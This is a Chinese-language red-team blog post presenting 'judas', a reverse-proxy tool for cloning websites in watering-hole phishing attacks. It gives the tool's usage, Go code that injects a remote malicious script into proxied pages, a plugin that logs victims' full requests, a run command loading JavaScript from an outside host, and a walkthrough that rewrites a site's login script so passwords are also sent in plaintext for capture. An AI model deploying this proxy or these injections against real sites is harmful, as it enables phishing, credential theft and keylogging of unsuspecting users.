完整项目代码:https://github.com/canc3s/judas

该文章是看到倾旋大佬《红队技巧:基于反向代理的水坑攻击》后的一系列实践与思考。

前言

关于网站克隆方面,可以分两种,一种是利用 SET,CS,copysite 等工具,通过copy网站的html,js,css等资源文件来达到镜像网站的目的。第二种就是利用 Nginx, OpenResty 等反向代理工具反代目标网站,充当中间人。本文介绍的工具属于第二种,有下面几个特点

  • 程序轻量,支持快速部署和移植,跨平台。(其实都是golang的优点
  • 可以完美克隆任意网站,并任意篡改通信过程和植入恶意js。
  • 有可拓展性,有插件功能,可以根据自己的需求任意编写。
  • 代理支持http和socks代理,端口、https证书可以轻松更改,可以应对更加复杂的场景。

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Usage of judas:
-address string
Address and port to run proxy service on. Format address:port. (default "localhost:8080")
-inject-js string
URL to a JavaScript file you want injected.
-insecure
Listen without TLS.
-insecure-target
Not verify SSL certificate from target host.
-plugins string
Colon separated file path to plugin binaries.
-proxy string
Optional upstream proxy. Useful for torification or debugging. Supports HTTPS and SOCKS5 based on the URL. For example, http://localhost:8080 or socks5://localhost:9150.
-proxy-ca-cert string
Proxy CA cert for signed requests
-proxy-ca-key string
Proxy CA key for signed requests
-ssl-hostname string
Hostname for SSL certificate
-target string
The website we want to phish.
-with-profiler
Attach profiler to instance.

注入js

注入恶意的js代码,其实就是xss能做的事情,表单劫持,jsonp,屏幕截图,键盘记录,csrf。。。总之,页面都能控制了,还是蛮强大的。

注入js方面,有几个地方需要考虑。一、什么样的页面注入js,怎么去判断。judas项目最开始的判断是简单的 Content-Type 中包含 text/html 就向响应包的head标签中注入payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {
return nil
}

document, err := goquery.NewDocumentFromResponse(response)
if err != nil {
return err
}

payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", p.JavascriptURL)
selection := document.
Find("head").
AppendHtml(payload).
Parent()

后来在使用过程中反代一些网站的时候,有些网站出现了异常,页面不能正常显示,功能也无法正常使用。经过排查发现问题出在了有些页面Content-Type不规范,返回js和一些数据时,虽然不是html页面,但Content-Type中却存在html字段,因此,为了解决这个兼容问题,我增加了对页面内容的判断,至于为什么要取前100个字符,是因为有些js当中也存在<html关键字,还是为了减少错误的判断。

1
2
3
4
5
6
7
8
9
if !strings.Contains(response.Header.Get("Content-Type"), "text/html"){
return nil
}

html, _ := ioutil.ReadAll(response.Body)
response.Body = ioutil.NopCloser(bytes.NewBuffer(html))
if !bytes.Contains(html[:100], []byte("<html")){
return nil
}

还有一个细节是,我也更改了js注入的位置,也是因为倾旋大佬在JS模块开发这片文章里提到的一点。现阶段大部分网站已经解决了明文传输的问题,基本上很多都是通过JS进行加密,这让获取明文密码变得更加“麻烦了点”

因为在js里出现同名函数后,你在web页面里调用改js函数后,总是调用页面中最后一个加载的函数。所以,为了更好的去劫持js用户的信息,js最好可以让页面最后一个加载。下面举个通俗的🌰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
<head>
<script type="text/javascript" src="./1.js"></script>
<!--
function aa() {
alert('First bb')
}
-->
<script type="text/javascript">

function aa() {
alert('First aa')
}
</script>
<title></title>
</head>
<body>
<form id="form1" runat="server">

<br />
<input id="Button1" type="button" value="button" onclick="aa();"/>
</form>
</body>
<script type="text/javascript" src="./2.js"></script>
<!--
function aa() {
alert('Second bb')
}
-->
<script type="text/javascript">
function aa(s) {
alert('Second aa');
}
function aa(s) {
alert('Last aa');
}
</script>
</html>
<script type="text/javascript" src="./3.js"></script>
<!--
function aa() {
alert('Last bb')
}
-->

尝试猜猜点击Button1后,弹出框的内容是什么。。

image-20210314222853192

因此,当有前端加密的网站,我们就可以去篡改他的js,使其在提交加密后的数据都同时,想服务器或者我们的服务器提交明文,后面会举个🌰。

使用ssl证书

使用ssl证书这部分该工具原版也是有问题的现在已经改好了,大家可以直接使用。下面就是使用的例子,实验时使用的是let‘s encrypt申请的免费证书,可以正常使用。

1
./judas --address=0.0.0.0:443 --target https://www.baidu.com/ -proxy-ca-cert /etc/letsencrypt/live/site.com/cert.pem -proxy-ca-key /etc/letsencrypt/live/site.com/privkey.pem -ssl-hostname site.com

支持代理

代理支持http和socks代理,方便的代理使得该工具可以应对的场景也变多,比如,要反代的网站不在公网上等等。。。

插件功能

作者整体使用介绍都写的很粗糙,但好在代码注释蛮清晰,暂时理解的主要是可以自定义ListenRequestTransformerResponseTransformer三个函数。

RequestTransformerResponseTransformer函数主要是用来劫持请求包和响应包的,做一些自定义。Listen用来做剩下的事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Listen pulls search queries out of HTTP exchanges
func (p *searchLoggingPlugin) Listen(exchanges <-chan *judas.HTTPExchange) {
for exchange := range exchanges {
searchQuery := exchange.Request.URL.Query().Get("q")
if searchQuery != "" && exchange.Request.URL.Host == exchange.Target.Host {
p.logger.Printf("Search query: %s", searchQuery)
}
}
}

// New returns a plugin that logs searches.
func New(logger *log.Logger) (judas.Listener, error) {
return &searchLoggingPlugin{logger: logger}, nil
}

// RequestTransformer replaces a victim's search query with something else if they search for the words "modify request".
func RequestTransformer(request *http.Request) error {
if request.URL.Query().Get("q") == "modify request" {
query := request.URL.Query()
query.Set("q", "not what you searched for")
request.URL.RawQuery = query.Encode()
}
return nil
}

// ResponseTransformer replaces the page contents with our text when a user searches for the word "replace".
func ResponseTransformer(response *http.Response) error {
if response.Request.URL.Query().Get("q") == "replace" {
payload := []byte("payload")
response.Body = ioutil.NopCloser(bytes.NewReader(payload))
}
return nil
}

作者写的这个插件就是在日志中记录请求包中q参数的值,并当q参数等于一些特定值时对请求包和响应包进行中间人修改。

1
2
3
4
5
6
func (p *requestloggingplugin) Listen(exchanges <-chan *judas.HTTPExchange) {
for exchange := range exchanges {
request, _ := httputil.DumpRequest(exchange.Request.Request, true)
p.logger.Printf("\nrequest: %v\n", string(request))
}
}

这是我写的一个插件,就是用来记录请求包内容的,拓展一些功能还是蛮简单的。

通信过程加密的例子

这个是原来提交密码的请求包

image-20210314230302720

尝试在请求包中添加两个字段,确认一下添加的多余字段不会影响请求。

image-20210314230431116

在网站中查找到点击登陆后触发的事件,重点是要找到发包那个函数。(其实要比查找加密那个稍微简单一些,因为没有发包一般没有依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
...     
<div class="control-group">
<a class="btn btn-primary btn-large btn-block" href="javascript:void(0);" lay-submit=""
lay-filter="save" id="btn-login">登 录</a>
</div>
...
<script type="text/javascript">
layui.use(['form'], function () {
var form = layui.form, $ = layui.jquery, layer = layui.layer;
$(document).keydown(function (event) {
if (event.keyCode == 13) {
$("#btn-login").click();
}
});
//监听提交
form.on('submit(save)', function (data) {
var index = layer.msg('正在登录,请耐心等待...', {
icon: 16
, shade: 0.01
});
var v1 = data.field.username;
var v2 = data.field.password;
$.ajax({
url: '/admin/getKey',
type: 'post',
async: false,
success: function (result) {
var key = CryptoJS.enc.Utf8.parse(result);
var src1 = CryptoJS.enc.Utf8.parse(v1);
v1 = CryptoJS.AES.encrypt(src1, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();
var src2 = CryptoJS.enc.Utf8.parse(v2);
v2 = CryptoJS.AES.encrypt(src2, key, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}).toString();
}
});
$("#btn-login").attr("disabled", "disabled");
$.ajax({
url: '/admin/login',
type: 'post',
dataType: 'json',
async: false,
data: {
"verifyCode": data.field.verifyCode,
"v1": v1,
"v2": v2
},
success: function (resp) {
layer.close(index);
$("#btn-login").removeAttr("disabled");
if (resp.code == 0) {
if (resp.message.length > 4) {
layer.confirm(resp.message, function () {
self.location = '/admin/index'
});
} else {
self.location = '/admin/index'
}
} else {
layer.msg(resp.message);
$('#verifyCode').attr('src', "/admin/getKaptcha" + new Date());
}
},
error: function () {
layer.close(index);
$("#btn-login").removeAttr("disabled");
layer.alert("登录失败");
}
});
});
});
...

找到ajax发包的部分进行修改,让发送加密字段的同时发送明文(创造一个密码明文传输的漏洞)。

1
2
3
4
5
6
7
8
9
10
11
12
$.ajax({
url: '/admin/login',
type: 'post',
dataType: 'json',
async: false,
data: {
"verifyCode": data.field.verifyCode,
"v1": v1,
"v2": v2,
"username": data.field.username,
"password": data.field.password
},

然后尝试场景是否成功。

1
go run cmd/judas.go --address=0.0.0.0:8081 --target https://xx.xx.com/ --inject-js http://xx.xx/InBx --insecure --plugins ./requestloggingplugin.so

image-20210315132902971

可以看到原版加密传输的密码后面跟了一份明文的,问题也就迎刃而解了。其实解决的方法不止这一种,直接劫持内容也可以,只不过需要单独定制插件了。

总结

工具虽然有优点,但也有一些缺点:

  • 暂时不支持根据不同的host指向不同的网站
  • 对于过多的并发请求处理不如Nginx。(手动测试同时200个请求以上访问有波动)

评论